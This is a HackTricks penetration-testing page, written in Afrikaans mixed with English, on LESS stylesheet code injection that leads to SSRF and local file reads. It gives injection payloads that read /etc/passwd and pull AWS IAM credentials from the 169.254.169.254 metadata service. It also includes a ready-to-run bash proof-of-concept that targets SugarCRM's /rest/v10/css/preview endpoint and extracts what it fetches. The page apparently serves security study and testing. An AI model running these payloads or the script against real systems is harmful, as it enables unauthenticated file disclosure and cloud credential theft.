SSRF Kwetsbare Platforme

Reading time: 4 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Kyk na https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/

LESS Code Injection leading to SSRF & Local File Read

LESS is 'n gewilde CSS pre-processor wat variables, mixins, functions en die kragtige @import directive byvoeg. Tydens samestelling sal die LESS engine die bronne wat in @import verwys word haal en hul inhoud ("inline") in die resulterende CSS inbedding wanneer die (inline) opsie gebruik word.

Wanneer 'n toepassing user-controlled input aan 'n string heg wat later deur die LESS compiler geparse word, kan 'n aanvaller inject arbitrary LESS code. Deur @import (inline) te misbruik kan die aanvaller die server dwing om op te haal:

  • Plaaslike lĂȘers via die file:// protocol (information disclosure / Local File Inclusion).
  • Remote resources on internal networks or cloud metadata services (SSRF).

Hierdie tegniek is in die werklike wĂȘreld gesien in produkte soos SugarCRM ≀ 14.0.0 (/rest/v10/css/preview endpoint).

Uitbuiting

  1. Identifiseer 'n parameter wat direk ingebed is in 'n stylesheet-string wat deur die LESS engine verwerk word (bv. ?lm= in SugarCRM).
  2. Sluit die huidige verklaring en injecteer nuwe direkteiewe. Die mees algemene primitiewe is:
  • ; – beĂŻndig die vorige deklarasie.
  • } – sluit die vorige blok (indien nodig).
  1. Gebruik @import (inline) '<URL>'; om arbitrĂȘre bronne te lees.
  2. Opsioneel injecteer 'n marker (data: URI) na die import om die uittrekking van die opgehaalde inhoud uit die saamgestelde CSS te vergemaklik.

Local File Read

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

Die inhoud van /etc/passwd sal in die HTTP-antwoord verskyn net voor die @@END@@ merker.

SSRF – Wolk-metadata

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

Geoutomatiseerde PoC (SugarCRM voorbeeld)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Werklike Gevalle

ProdukKwetsbare EindpuntGevolg
SugarCRM ≀ 14.0.0/rest/v10/css/preview?lm=Ongeauthentiseerde SSRF en lees van plaaslike lĂȘers

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks